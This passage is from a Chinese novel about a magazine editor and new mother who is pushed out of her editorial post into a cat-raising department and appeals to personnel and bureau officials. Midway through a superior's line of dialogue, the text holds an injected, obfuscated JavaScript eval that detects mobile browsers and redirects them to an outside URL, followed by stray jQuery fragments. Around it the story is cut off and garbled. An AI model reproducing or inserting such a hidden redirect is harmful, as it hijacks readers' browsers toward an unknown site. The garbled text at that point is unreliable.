当然,最开心的应当数黄社长了。清除了我们这几个老弱病残孕,腾出了位置,他又可以安插谁的夫人谁的太太和谁家的小姐了。总之,论实力,轮背景,新人总是比旧人强的。新的一轮比拼又要开始了。摒弃了这几个老弱病残孕,黄社长又可以重整披挂,精神抖擞地提枪上马了。接下来又是唇枪舌剑唾沫纷飞好一番厮杀。男儿本自重横行,长官非常赐颜色。待到秋来九月八,大红绶带披上它。妇人之仁使不得,功名全靠铁与血。 5.体检 体检是单位在“三八”妇女节给每个女职工的福利。我虽然被发配了,但是照样去体检。 “宋大省!”老梁看到了我,高兴地叫我说,她应该知道我被《小坛》发配的事了。她还像以前那样关心我,告诉我怎么排队。其他的,她什么都不说。 “宋大省!”一个有些陌生的女人喊我。 “你是?” “我是新来《小坛》的汪萍萍!”她说,“我得赶紧体检,马上还要去上班呢。”我知道,我出来了,她进去了。 她倒是很坦诚:“听说,你去《喵一生》了?” “是的。” “《喵一生》挺好的。去的都是优秀的人。”她适意地说。 我说:“萍萍,你就别安慰我了。我是因为差才被发配过去的。” “哎呀,大省,你可别这样想。大家都一样。”她说。 我笑笑不说话。 汪萍萍说:“你在这儿等着,你把你的单子给我,我拿去胸片室那里排队。这样我们就省了排队的时间了。” 我说:“好的。你真聪明。我就跟着你跑,你说怎么我就怎么。你不说,我还不知道呢。” 她说:“我常来。干惯的!” 过了一会儿,她从一楼胸片室上来了:“我把单子放下了。马上我们就可以直接去了。” 我说:“好的。跟你一起真好。省了不少时间。” 她也很好相处,我们来到了胸片室门口,坐着排队。 她问我:“你小孩几个月了?” 我说:“一周多了。” 她说:“我家的也差不多。” 我说:“你家开始吃辅食了吗?做辅食可费事了。” 她笑着说:“我不管,他爷爷买了一台挂面机,自己给他压面。” 我苦恼地说:“我家的还吃夜奶呢,我都睡不好觉。” 她说:“我家的也吃夜奶。后来,保姆来了,她确实会带,就不给他吃,非到点才给他吃。他现在夜里很少吃夜奶。” 我说:“你家请了保姆啊?” 她笑着说:“是的。” 我说:“保姆一个月多少钱啊?” 她说:“七千。” “天呐,我自己一个月工资都不够啊。”我说。 “汪萍萍!”里面的医生喊道。 “我先进去了哈!”她说。 “好的。”我说。 汪萍萍体检完出来了,她拎起她的手提包跟我说:“我先走了哈。我还要上班。” 我说:“好的。我想麻烦你一件事,我现在不在《小坛》了,我的体检单子如果送到了《小坛》中文组,麻烦你帮我收一下,放在南门门卫室,跟我说一声,我去拿。” 她说:“好的。我来加你微信吧。” 我说:“好的。” 我体检完,吃过早饭,就回去了。路上,我看到路边有卖小鲫鱼的,就停下来给孩子买两条小鲫鱼。我掏手机付钱的时候,看到了汪萍萍的信息:“大省,你如果不想让他们把体检单子送到《小坛》的话,你就跟护士说一下,在体检单子上写个电话。回头护士直接告诉你去医院拿。” 我当然不想让我的体检单子送到《小坛》。 我赶紧回复她说:“好的,谢谢你,萍萍,我这就回去办。”我转头骑车回到了医院。 其实,说人家有关系,自己不比别人差,也不过是一种自我欺骗、自我安慰。事实上,同样的平台上,有关系的人就比没关系的差吗?不是,相反的,他们很多地方比没关系的人更优秀。比如待人接物,比如见识和兴趣,比如一个阳光明媚的心理。 他们成长在更好的环境里,得到了更多的阳光雨露,和更好的照拂,他们没有经历过风吹雨打,跟我比,他们更悠游自在,他们更温和儒雅,他们更沉着大气。你说,他们是不是比我优秀? 他爹比我优秀,他在他爹的肩膀上生长,生长在肥沃的土壤上的庄稼,自然也是优秀的,如此说来,人家对那些有关系的人物更为和蔼更为悦纳,也是有一定的道理的。 相反,像我这样一个北山里的穷苦人家的孩子,像我这样生长在贫瘠土地上的狗尾巴草,自以为自己也不差,可我又能优秀到哪里去。我的见识,我的视野,甚至我的长期被压抑的性格,跟人家的星光灿烂比起来,我是不是的确比人家差很多。如此说来,人家被提拔,我被踩踏,原也是很公平,原也是应该的。想我一个出生在社会的最底层的人,能够有幸一睹这些富贵人家孩子的身影,能够一睹他们的丰姿,我是不是已经足够幸运,我是不是应该知足了。 6.培训、蓝明 接下来的培训,我不知道该往哪里去。我就打电话问《小坛》杂志社的同事。 “喂,吴编辑!” “喂!宋编辑!” “我被《小坛》调出了,今年的培训,我还不知道在哪?你能告诉我该找谁吗?” “你找蓝明,我这里有他电话,你记一下。” “好,谢谢你。” 我躲在房间里,打电话给了蓝明。 我说:“蓝指导,我是《小坛》的宋大省。我被《小坛》发配出去了。我的孩子才一岁!”说到这儿,我泣不成声。 蓝指导那边听了,也很同情我。 他说:“孩子一岁,还在哺乳期呢。他们这样是极不人道的!” 我说:“蓝指导,他们把我发配走,我也不赖着。我就想知道马上的培训,我该去哪里。我现在既不属于《小坛》,也不确定下一个单位在哪里,我已经无家可归了。” 蓝指导说:“5号培训的时候,你来找我吧。” 我说:“好的,你就在会场吗?” 他说:“是的。” 5号早上,我骑着自行车去了。 蓝指导已经到了。 我去跟他打了招呼,我说:“蓝指导,我来了。” 他说:“你家到这里多远啊?” 我说:“我骑自行车半个小时。我五点钟就起了,在家里帮着老太太照顾宝宝的。我现在去签到吧。” 我知道名单上没有我的名字,我问他:“蓝指导,我的名字写在最后可以吗?” 其实,我知道,培训人员的名单早就被录入电脑了,我这样在纸上写个名字的,培训成绩未必有记录。蓝指导让我写在纸上,也只是让我心理上有个安慰,现实中有个归宿。我现在是个失群的孤雁,漂泊不定了。 他说:“行的。” 在我的左手边,一个小姑娘跟我打招呼说:“宋老师!” 我疑惑地看了看她,认出了一张熟悉的脸。 “你是?” “我是姚姗,以前在《小坛》跟着您实习过。” 我说:“啊?姚姗,我对你印象很好呢,你是一个很优秀的姑娘。你怎么来这儿了?大学毕业了吗?” 她说:“还没有毕业呢。我是对口的,等到毕业以后来《且戒》。就跟着一起培训了。” 我说:“那真好!” 她说:“老师,你怎么在这儿?” 我说:“我被《小坛》调出了。现在还不清楚是在《且戒》,还是《喵一生》呢。” 姚姗红着眼圈说:“啊?怎么会这样?老师,你看你,头发都白了。” 我说:“没办法。我结婚晚,生孩子生地迟。小孩儿小,夜里还要熬夜带孩子。老地快。” 她擦着眼泪说:“啊,老师,你都有宝宝了?没事的,老师。你要开心一点。” 我说:“好的。谢谢你。老师混到这个地步,遇到以前带过的实习生都不好意思,给你丢脸了。” 她哭着说:“没有!没事的老师!” 中间休息的时候,蓝指导跟我说:“小宋,你想去《且戒》吗?你想去的话,我跟他们社长说说,我比他们大,他们还听我的。” 我说:“蓝指导,我跟您说实话,我离过婚,我的前任就在《且戒》,我不能去。” 他说:“那你是去《喵一生》了?” 我说:“我当时填的就是《喵一生》。不知道是分到哪个部。” 他说:“一般情况下是分到编辑部,你本来就是编辑嘛。” 培训结束了,回到家,我跟老太太说:“我不在《小坛》了,以后的津贴就会少了。以后你要帮我多带带孩子,我要挤时间加班加点了。” 老太太说:“好的。我想夜里带,你又不让我带。” 我说:“你夜里带孩子的话,白天会吃不消的。夜里熬夜,白天头脑昏昏沉沉地怎么带孩子。我夜里带,你保持清醒的头脑白天带,也是对宝宝好。” 我打开电脑,就噼里啪啦地忙了起来。是的,我要忙起来,我要干起来。人家轻视我,我不能轻视自己,人家放弃我,我不能放弃自己。人家不给我赚钱的机会,我就要自己给自己创造机会来赚钱。并且,我要赚地比他们从我这儿剥夺走的那些还要多得多。 7.《喵一生》 七月六号上午,我接到了《小坛》社长办公室司机师傅齐师傅的电话。 “喂!宋编辑!”对方说。 “喂!齐师傅!”我说。 “请于七月七号上午八点去《喵一生》杂志社报道。”对方说。 “好!我知道了。谢谢齐师傅。” 七月七号上午,《喵一生》开会了,我跟着人群去签到。我在编辑部的名单里找我的名字,没有找到。再看看旁边的实践部的名单,里面居然有我的名字。我的心一下子就沉到了谷底。我在编辑部工作了十年,主要是跟文字打交道,现在都年近四十了,让我去实践部,我能适应吗?我被后面的人群推挤着签了字,强打着精神,顺着人潮,找到了我的座位,坐了下来。前面,主席台上,一个个领导登上台阶坐到了主席台的座位上。 主持人开始了热情洋溢地介绍:“大家早上好!《喵一生》杂志社全体成员新一年工作会议现在开始。首先,请允许我介绍与会的人员!《喵一生》杂志社社长杜涉!副社长田舒!本人,《喵一生》杂志社主任毛学望!” 底下的人随着台上的介绍呱唧呱唧地鼓掌。 “新的一年,我们《喵一生》杂志社又迎来了一批新成员。我来隆重介绍一下。编辑部:胡晨编辑!吴雅编辑!周珊珊编辑!” 台下传来稀稀拉拉的掌声。我整理了一下衣衫准备着。 “实践部,宋天宝编辑!”毛学望喊到了我的名字。 我佯装镇定地站了起来。台下又传来稀稀拉拉的几声掌声。 台上的毛学望又开始了他的慷慨激昂的演讲。 我问坐在我左边的一个女士说:“你是哪个部门啊?” 她说:“我是实践部。你呢?” 我说:“我是新来的,被分到了实践部。” 她说:“你以前是哪里的啊?” 我说:“我是《小坛》编辑部的。” 她说:“天呐?《小坛》编辑部的被调到实践部养猫?太作践人了。” 我说:“《喵一生》实践部养猫吗?” 她说:“对呀!《喵一生》杂志社主要是研究猫的。实践部养猫,跟社会上的爱猫人士交流,把掌握的资料和数据提供给编辑部,供编辑部来组稿。” 我说:“我怎么办?这个会我是开不下去了。” 她说:“你不想听,就不要听了,我马上也想走。” 我说:“你叫什么?我加你微信吧。如果会上有什么情况,麻烦你跟我说一下。” 她说:“我叫多利。” 我说:“我叫宋大省,84年的。你是哪年的啊?” 她说:“我87 的。” 我说:“好妹妹!谢谢你了!” 我出来以后到了茶水间,猫着身子,哭着跟蓝指导打电话说:“蓝指导,我是宋大省。我被《喵一生》分到实践部了。听说他们实践部为了研究小猫,养了一堆猫。要天天跟猫打交道。我没有经验,我怎么办啊?我怕我适应不了,干不下去怎么办?我怕我喂着猫就哭了,我怕我迟早被他们搞抑郁!他们这样会一步步把我整个人给废掉的!” 蓝指导说:“你干了十年的编辑,怎么能把你分到实践部呢?你一个外地人,他们这样对你是极不负责任的。” 我说:“蓝指导,我能不能不参加培训了?我实在听不下去了。” 蓝指导说:“不培训就不培训吧。也没什么说法。” 我说:“蓝指导,我要去局里,要个说法去。” 蓝指导说:“你可以去。” 我说:“我去了以后找谁?” 他说:“你就找最大的领导,就找局长。” 我说:“蓝指导,我抱着孩子去。” 蓝指导说:“可以。你就抱着孩子去。你就跟他们说,你一个外地人,他们这样把你胡乱安排,这是极其不负责任的。大省,你不要怕,你就抱着孩子坐在他们领导门口,他们不给你解决,你就不走,你把孩子交给他们。” 我说:“蓝指导,我现在去找还来得及吗?” 蓝指导说:“来得及,只是领导一句话的事。” 我说:“好的,蓝指导,今天是星期天,我明天就去。” 说实话,抱着孩子去,我真的会吗?不会的。我怕我的孩子看到我哭她会害怕。把孩子交给他们,我舍得吗?我舍不得!我怎么会把我的孩子交到他们手里呢?我的孩子会受到多少惊吓?我不会那样做的。我抱着孩子去找他们?我的孩子多么无辜呢?我已经很弱小很悲催了,我还能让我更加弱小的孩子去承受那些无助和绝望吗?我不会那样做,我不会的。我跟他们讨公道?我讨的来吗? 我来到《喵一生》门口,遇到了韩楚。韩楚也是因为资历低,先我一年被发配到《喵一生》的。她比我幸运,她在编辑部。 我说:“韩楚,我要去局里,我接受不了把我弄到实践部。” 韩楚说:“你就这样直接去吗?你不跟社长说说吗?” 我说:“我不想找他了。我就没有想到过他。又不是人家发配的我。跟人家又没有关系。” 韩楚说:“你有情绪我能理解。我一开始也是不能接受。我还去找黄社长呢!我说,‘您凭什么把我发配走?’你去找黄社长了吗?” 我说:“他都要把我发配了,我还去找他干嘛?找他有什么用?” 韩楚说:“你不去找他就等于默许啊。” 我说:“走就走呗。反正是早晚的事。与其在《小坛》耗那么一年两年,还不如早点走。早死早托生。” 韩楚说:“你还是先给这儿的社长说一下吧。反正我觉得哈,你还是先跟他说一下。他如果实在不行,你再去局里。” 我说:“我不认识他。我不知道跟他说什么。” 韩楚说:“你真地就这样直接去吗?你的饭碗还想要吗?你还要不要工作了?” 我说:“韩楚,这跟人家《喵一生》的社长也没有关系。” 韩楚说:“我觉得你还是跟杜社长说说。他就在大群里,他的电话我也有。你可以给他发信息。” 我说:“那我想想吧,谢谢你,韩楚,谢谢你给我温暖。” 韩楚说:“没事,都一样的。我刚被《小坛》调走的时候,我也不适应。大省,你放宽心态,就是被调动了,我们也不比谁差。只是我们没有资历,他们不把我们弄走,动谁?” 我说:“那当然。可是,让我到实践部喂猫,我怕我干不了。” 她说:“那你再跟社长说说吧。” 我说:“好的。” 第二天,我去了杜社长办公室,杜社长抬头看到了我,他客气地让我坐下。 他说:“宋编辑,你的事,我本来想跟你说一下的。后来忙起来忘记了。是这样的,现在《喵一生》编辑部满员了,你就去实践部吧。” 我说:“杜社长,我在《小坛》做了十年的编辑,擅长的是鉴赏语言文字,现在突然让我去实践部养猫,我怕我很难适应。” 他说:“宋编辑,我们实践部也很重要的。实践部的同志要养猫,研究猫,给编辑部的同志提供素材和数据,功德无量啊!实践部养猫养地好不好,直接影响到了编辑部的编辑们的理论根据和水平的发挥。你说,实践部重要不重要?” 我说:“杜社长。我是个书呆子,我以前在编辑部干的就是闷头审稿、校稿的事情。现在突然让我改行去养猫。我怕我没那个耐心,也没经验,我孩子还小,我产后本来精神压力就大。我怕我养不好,对那些猫不利。” 杜社长说:“那你就更应该去实践部养猫了,磨磨性子。你家小孩还小,你正好去养养猫,积累喂养经验啊。我帮你考虑好了,刚出生的一两岁的小奶猫,太娇嫩,你确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137818|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没有经验。五六岁的比较成熟的猫呢,要送去编辑部做研究的,对喂养熟练程度要求比较高,你没经验,也不适合。你就喂中间段落的四岁的小猫吧。” 我说:“杜社长,养猫那些知识,我都没有经过系统地学习和培训,我实在没有经验。” 杜社长说:“泡在里面,慢慢学。养猫也不容易的。每个成长期都要跟宠物爱好者交流经验。” 我说:“杜社长,我就是个跟文化打交道的人,不喜欢抛头露面,就想踏踏实实地研究学问。” 杜社长说:“你这样不行的,要被淘汰的。要学会变通,要跟上时代发展。” 我说:“杜社长,我在《小坛》这些年,业绩也不差。经常还会被领导表扬。我被发配不是因为我业绩不好,是我资历太浅,我不是垃圾。” 杜社长说:“宋编辑。我没说你不行。看你的样子,我就知道你很能吃苦。听说你还是研究生呢。” 我说:“我的专业是中国古代文学。我喜欢唐诗宋词。你给我一个词牌名我可以填词的。” 杜社长说:“你喜欢唐诗宋词啊,那太好了。我们社里正想搞个对联特色文化呢。回头市里还要来检查的呢。你可以加入我们啊。”说着,他站起身,翻着书架上的一堆书本材料。 “你看,你可以给我们编写材料,我正想编一本书呢。”他说。 我想,还是把我往歪门邪道上推,就是不让我去经营我的老本行。你不认可我的本质工作,只想让我去替你写文章出力,最后你来坐收渔翁之利。想得美!我才不感兴趣。我根本就不想讨好你。我干嘛每天费尽心力为你写书讨好你。再说了,我对这种,由一群根本就不懂文化的人,大张旗鼓地搞地,掺杂了太多猫腻和利益的,所谓的特色文化,也的确不感兴趣。 我说:“社长,我就是个书呆子。我就想踏踏实实地做学问。我不喜欢跟领导混在一起。” 杜社长说:“你要是非要去编辑部呢。《且戒》杂志社还有空缺,可是我听说,你前夫在《且戒》。” 我说:“杜社长。我跟我前夫离婚错不在我。他身体不行,我们没有夫妻生活。没有孩子。他也不珍惜我。我那时候傻,我还要跟他搞试管婴儿,哭着求着不跟他离婚呢。” 他说:“我以前就在《且戒》,这个人我了解。你们结婚的时候,我还去吃过你们的喜酒呢。宋编辑,看来你是个很厚道的人。这样吧,我跟人事科郑嫦科长打电话,你去找她吧。” 我说:“谢谢杜社长。” 他说:“你要是愿意回来,我还是欢迎你的。” 我说:“谢谢你,杜社长。你真好!”我就起来飞一样赶紧去了人事科。 我在电梯口看了看,人事科在四楼。我就上了电梯。那天,我穿着一条两年前买的蓝色的肥肥大大的连衣裙。从胸部以下有一条松紧,把一条裙子分成两段。上部是裙子的前襟,下部是蓬大的裙摆。那裙子穿在身上,使人看起来肥肥壮壮。加之我本来就胖,更显得肚子大大的。 我知道这些缺点,可是我不想掩饰,不想改变。我没有心思去改变,也不想花钱去改变。也觉得我当时每况愈下的处境,不值得我去改变。说到底,还是我打心眼里觉得我这四十岁的庸俗铅粉的躯壳不值得改变。所以我找尽了理由不去改变。 我也不觉得我花钱去包装我自己又能给我带来什么,我猜,除了让我的钱包变得更加干瘪,除了我应该给我的孩子积攒的那点奶粉钱变得更少以外,它不会给我带来任何好处。那么,我又为什么去改变呢。 何况,我自己也是真的不在乎我的形象了,搞好形象是因为有在乎的人,我谁都不在乎了。 我还在乎谁呢,我那么在乎又有什么用呢。 我上了电梯就开始哭,我哭地两眼浮肿,两脸满是泪痕。二层到了,上来一对恩爱的小夫妻。他们衣着光鲜,面容靓丽。他们大概没见过我这样毫无脸面地哭着的中年妇女。他们友好地背过身儿去。我一方面为我这样的存在感到抱歉,另一方面,又想当然地认为他们会同情我的。至少,那个小女人会同情我的。至少,她也是个女人。她至少也知道一点点关于女人,尤其是一个中年女人的苦和悲。 你说,一个人哭是为什么呢?是不是你觉得还会有人同情你呢?或许是吧。如果是这样,那就说明你还是觉得这个世界是善良的,尽管你在别的地方受了伤。你能不能想象,如果你的身边全是恶魔,全是杀人不眨眼的刽子手你会怎样。你受了伤还会哭吗?也许还是会哭吧。你会哭自己,哭孩子,哭爹娘,哭天地,哭神灵,哭上苍。 三楼到了,那对小夫妻终于下去了。又上来一个衬衣笔挺的中年男人。这男人不知道是哪个科的,他皮肤白皙,衣着考究,形容俊朗,保养得当,一看就知道他仕途顺利春风得意。他睁着一双皮笑肉不笑的桃花眼,就站在我的对面。 “领导你好!”我说。 “你是来干嘛的?”他皮笑肉不笑地看着我。 我含着眼泪说:“我原来是《小坛》的,现在被发配到《喵一生》实践部养猫了。” 他说:“你是《小坛》的?你认识汪萍萍吗?” 我说:“认识。” 他皮笑肉不笑地说:“我是她老师。她实习的时候,我带过她。” 我不吭声儿了。 汪萍萍有的,我没有。汪萍萍的,不是我的。汪萍萍的,我也求不来。即使去求,那也得付出我付不起的代价。我也不想付出那样的代价。是的,我只是想拿回本就该属于我的,我为什么要为此付出代价呢?我为什么要向不尊重我的人、践踏我的人去付出代价呢?我就那么贱骨头吗? 四楼到了,他到了他的办公室。我径直到了人事科。 人事科的郑嫦科长接待了我。她让我坐下,我坐下来,眼泪不自觉地流淌。 我告诉他:“我原来是《小坛》杂志社的编辑,现在被流动到《喵一生》杂志社。本来应该把我分配到《喵一生》杂志社编辑部的,现在社长让我到实践部养猫。我实在接受不了。社长让我来,他说《且戒》杂志社还有空缺。” 郑科长说:“他说有就有啊?马上就要开工了,哪里还有空缺啊。人员都安排好了。” 我说:“可是让我去实践部,我实在不能适应。” 郑科长说:“你的心情我也能理解。我以前也是编辑部的,后来,让我去实践部养猫,我也是非常不适应。跟编辑部完全不同。” 我哭着说:“是的。不是我挑剔,是我怕我喂不了猫,我事先没有经过任何学习和培训,我做了十年的编辑,突然让我去养猫,我不知道该怎么养,我怕我干不下去。” 郑科长说:“你之前为什么没有把你的意向提出来呢?” 我说:“填表格的时候,我是填的《喵一生》,我以为会把我分配到编辑部。我没有想到会把我分配到实践部。” 郑科长说:“杜社长没有跟你说吗?” 我说:“没有。” 她说:“他们工作也是的,要考虑编辑的接受程度的。一般是调到编辑部。你是太被动了。你早就应该把你的意向提出来的。” 我说:“我不认识人,也不知道该跟谁说。也是没有想到。” 她说:“看你的样子,不像是跟领导对着干的,那你就是业绩不好吧。” 我说:“不是的。领导可以去查数据。我在《小坛》从来都是勤勤恳恳,兢兢业业,经常被表扬的。稿一、稿二阶段,只要给我同样的资源,无论是审稿、校稿,还是组稿,我都搞不差。我不能保证次次都领先。但是大部分时间,我都能处于领先的水平,十有八九我都会被表扬。但是,到了稿三阶段,总是给我一个差版,给别人的都是好版。这种情况下,我是万难翻身的。我只能是出力不讨好。累死也搞不出什么名堂,打死也出不了多好的结果。” 她用质疑的眼光看着我说:“做编辑还是要艺术的。要善于启发引导读者。” 我说:“我也会抛出很多问题,不断地启发读者,好引起读者共鸣。我负责的稿件读者参与度很高。” 她说:“那你为什么被流动呢?” 我说:“因为我资历浅。” 我心里想,你们不知道吗?你们是真不知道,还是假不知道,我要是有权有势有关系,我能被流动吗? 正说着,一个女孩子拿着一张单子笑盈盈地进来了。 她把那张单子放在郑科长跟前:“郑科长,麻烦您签下字。” 郑科长看了看那张单子,那张单子的台头上写着“海坝市”等字样,看来,这个女孩子是跨区调动的。 “你是要调到海坝市是吧?”郑科长说。 “是的。”那女孩温和地说。 郑科长签了字,说:“恭喜你了。到海坝市发展,蛮好的。” 趁着她们说话的空儿,我翻开了郑科长桌角的一本语文书,那篇课文是《走月亮》。 我看了看书里的文字:“我和阿妈走月亮……” 我想到了我的孩子,我的心里一阵难过,眼泪开始不自觉地哗哗地流淌。 我的孩子太小,还不知道她妈妈的遭遇,她的妈妈,吃苦耐劳,能做牛做马还能做猪做驴,能拉车,能犁地,能吃苦还能啃泥。可是,现在,她还是遭到人家的嫌弃。人家不管她有个小小的孩子,就把她给赶走了。她跟人家说,她的孩子还小,她的孩子要吃奶呢。可是,人家才不管这些。她的妈妈,本以为终日任劳任怨的辛苦,能为她的孩子多挣几个钱,多挣几口饭,能让人家推迟一点发配她的时间。可是人家不管她,人家连一天的功夫都不给。 女孩子把一个白色的提袋放在郑科长的桌子上说:“谢谢郑科长,这是我点的奶茶。” 郑科长说:“谢谢!不用那么客气。” 女孩温和地笑着说:“你们也辛苦的。” 郑科长说:“谢谢!” 女孩说:“那我先回去了。” 郑科长说:“好的,钱社长最近还好吧?” 女孩子说:“我爸很好,她让我跟您问好。” 郑科长说:“好的好的。” 我呆呆地坐在郑科长身边的沙发上,呆呆地看着这一切。 为什么,人家那么笑语盈盈,那么风轻云淡,那么一团和气,那么讨人欢喜。 为什么,我这么泪眼婆娑,这么哀哀切切,这么哭哭啼啼,这么令人讨厌这么让人唾弃。 人家轻匀淡抹,相貌姣好,衣装得体,举重若轻,举动适宜。 而我,我容貌粗俗,衣装拙劣,身材臃肿,脸上闪烁着让人厌烦的泪光和泪滴。 我跟人家相比,有天壤之别,一个是一朵云,一个是一坨泥。 人家可以跨区调动,我被原单位迫不及待地抛弃,被新单位不由分说地嫌弃。 为什么?你说是为什么?这到底是为什么? 想我也是有爹有娘,可我踏上这个人间只好孤身闯荡,仿佛无父无母,无爹无娘。她是人家的孩子,我也是人家的儿女,可是人家有家庭支撑的,有父母托举的,可以向高处调动,向好处调动,跨区调动。而我这样的下三滥下贱胚子,没有父母支撑,没有父母托举,没有人保护,成了被人遗弃的垃圾,只能随风飘零,任人摆弄。 人家有父母的托举,想去哪里,父母举一下,抱一下,就到了哪里。人家随心所欲。而我,无人问津,无依无靠,任何苦难横在我面前,都成了太行、王屋两座大山。我自己迈不过去这一道道坎儿。也没有人能帮我跨过去。 小姑娘走了以后,郑科长又回来继续跟我做工作。是的。继续跟你做工作。只是跟你做工作。你有钱有势,人家二话不说,直接给你办实事,你没钱没势,人家对你态度也不差,人家就不厌其烦地给你做工作,耍嘴皮子。谁让你那么虚呢,谁让你没点儿实力呢。你有实力,人家就跟你玩实的,你孤家寡人,无依无靠,你背后太空了,人家就跟你玩空的。 人家也跟你客客气气,人家也好好地非常有礼貌地答复你。只是,答复即应付。 你到处哭诉,不如有个好母好父好舅父好姑父好姨夫。 她说:“主要是你太被动了。没有早点提出来。你不提出来,他当然安排他认识的熟悉的人。这也很正常啊。” 我说:“郑科长,《且戒》还有空缺吗?” 她说:“《且戒》也满员了。跟你说实话,每年把流动的编辑重新分配给各个杂志社都成了一项头疼的任务。我们都是从人性的高度来跟几个社长开会。说服他们。他们其实不想要《小坛》的编辑,他们宁愿从外面重新招人。” 我想,我从被《小坛》发配出来那天起,就成了劣质品,残次品,成了垃圾,被人瞧不上,被人嫌弃。可是我差在哪里?我是跟谁搞桃色新闻了,还是我行贿受贿了?还是我徇私舞弊了? 郑科长跟我说:“你先干干看,明年再说,实在不行,我们只好把你流动到乡下去。” 我心里想,开始威胁我了。把我流动到乡下,我更没有办法照顾我的乳儿了。我确实得自觉。 我跟郑科长说:“领导,对不起。我也不想给您添麻烦,我是真地怕自己适应不了,怕自己不会养猫,养不好。” 她说:“没关系,你来反应也是正常的。我们见地多了。你们《小坛》的一个四十多岁的编辑,蛮老实的,也被流动了,也是接受不了,他跟社长闹地很厉害。你不知道?” 我说:“谁啊。邓勋啊?” 她说:“你是不是《小坛》的编辑啊?” 我说:“谁啊?我真地不知道。” 她说:“李国君。他蛮老实的吧?” 我说:“是啊。他挺好的啊。人长得斯斯文文,潇潇洒洒,形象和气质都很好。听说他还多才多艺,自学了各种乐器。大家都对他赞不绝口呢。我记得上次社里有重大节日庆祝,李编辑还作为代表出场唱歌呢。” 是的,当时,李国君走在前头,部长夫人也走在前头。他们一个衬衫领带西裤笔挺,一个白衣黑裙,高扎马尾。他们都年富力强,满面春风。他们两个各自伸出一只手来,引吭高歌:“我和我的祖国——” 在他身后、在各个楼层的围栏上头,大家站成一行行,挥舞着小红旗,跟着他唱:“我和我的祖国,一刻都不能分割。无论我走到哪里,都留下一首赞歌!” 那时候的李国君,穿着干净整洁的白色衬衫和黑色西裤,是多么的英俊潇洒啊。我真想象不出来,他跟《小坛》的领导是怎么闹的。 她说:“他平时看起来是个老实人吧?这回被流动了,也是跟社长闹地蛮厉害的。” 我说:“为什么他也被流动了啊?他可是很优秀的啊?哦,也难怪。他们组里,邓勋,比他有资历比他出名,另一个是部长夫人。只能流动他了。” 郑科长说:“你这样,你先在《喵一生》实践部干一年,慢慢地看看能不能适应。要是实在不能适应,我们明年再给你想办法。今年是实在来不及了。” 我说:“好的,谢谢郑科长。浪费您这么多的口舌,打扰您了。那我先回去了。” 她说:“没事儿,这本来也是我们的工作。” 我走出了人事科,还是痴痴呆呆,浑浑噩噩。我的命运被动地发生了这么大的扭转,我像是一片身不由己的树叶,被刮上了云端。尽管人家不把我当人看。可是,我还是心有不甘。是的,我的心里有太多的不甘。 下午,我怀着满腹的悲痛又到了文化局。到了一楼电梯口,我看了看办公室安排,局长办公室在四楼,我就按了电梯到了四楼。 我出了电梯,朝左边的走廊拐弯的时候,看到一个五十多岁的男人,他像是一个被谁欠了租子的地主老财,又像是一个便秘了一个星期的日本武士,他阴着脸。 他看见了我,像是看见一个前来举报他的群众一样,警惕地瞪着我,厉声喝问我说:“你要干什么?” 我说:“我原来是《小坛》的编辑,现在被流动到《喵一生》实践部养猫了。我想去找局长。” 他像是呵斥上门要饭的疯婆子似的呵斥我说:“局长办公室在那边,不要乱窜!” 我也有些纳闷儿,这个太君,我又没有见过他,我也没有得罪他,他为什么对我杀气腾腾地呢,为什么他说的每句话都跟 “死啦死啦!八嘎!八嘎!”似的呢?八格牙路! 我顺着长长的走廊往东走。一个打扮时尚的年轻女人迎面走了过来。她留着长发,穿着蓝色的小短裙。 她看到我说:“你找谁?” 我说:“请问局长办公室在哪边?” “那边,403!”她说! “谢谢!”我卑微地说。 “没关系!”她说。我没有想到,这个靓丽的美女对我倒是一团和气。那一刻,我多么希望她就是局长,或者她就是局长的什么秘书或是什么亲戚。我可以跟她说说我的遭遇。 我到了局长办公室门前,里面没有人。对面的办公室里有一个男人,那是局长秘书。他看起来有四十多岁奔五十的样子,个子不高,白净面皮,斯斯文文,他面朝北端端正正地坐在他的位子上,一副很温和很有城府,也很实干的样子。 他有些认真地问我:“你有事吗?” 我说:“领导您好!我想找局长。我原来是《小坛》的,在《小坛》干了十年。今年,因为流动,被《小坛》给发配到了《喵一生》。我本来应该在编辑部的,可是《喵一生》的社长把我放在实践部,让我去养猫。我实在不适应。”我边说边哭。 他看着我,说:“局长开会去了。你再等等吧。” 我说:“好的,谢谢领导。打扰您了。” 我站在局长办公室门外等起来。 人事科科长郑嫦不知道是去上厕所了还是去干什么,她在走廊的另一端看到了我。我赶紧往局长办公室对面的墙壁上一站。郑嫦一声不吭地回到了她的办公室。 一个三十多岁的女人看到我在她的门外徘徊,友好地问我说:“你找谁?”她长得很恬静。小麦色的不算白皙的皮肤,瘦长脸儿,大大的眼睛。她打扮地也很普通,是温和的邻家姐妹的那种类型。 我像是看到菩萨一样,走到她的办公桌旁,流着眼泪跟她说:“我原来是《小坛》的编辑,后来被发配到《喵一生》实践部养猫了,我怕我实在适应不了。我想找局长。” 她温和地说:“局长开会去了。不知道几点回来。要不你再等等。” 我说:“好的。”但是我没有走出去,也许是我走投无路了。我就在她的办公桌前站着。我的眼泪哗哗地流着。 她站起来温和地对我说:“你也别太难过。等局长来了,你跟他说说呢。” 我跟她说:“我跟你说实话,我也是实在没有办法了。我一个做了十年的编辑,让我去养猫,我实在适应不了。我怕我到时候,坚持不下去。我真的会抑郁的,到时候,我整个人,就被彻底给毁了!我的孩子才一岁啊……”我说着泣不成声。 她说:“啊?你小孩才一岁啊?”我说不出话来,我哭着颤抖着肩膀点点头,算是对她的回答。 “那你蛮辛苦的。”她说,“孩子才一岁,他们领导该为你考虑考虑的。” “没有!”我苦笑了一下说,“他们还得说,他们这就是为我着想呢。好让我有更多的时间照顾孩子啊。” “女人太不容易了。”她说。 “是的。谢谢你还能为我说句话。”我说着眼泪又落下来了。 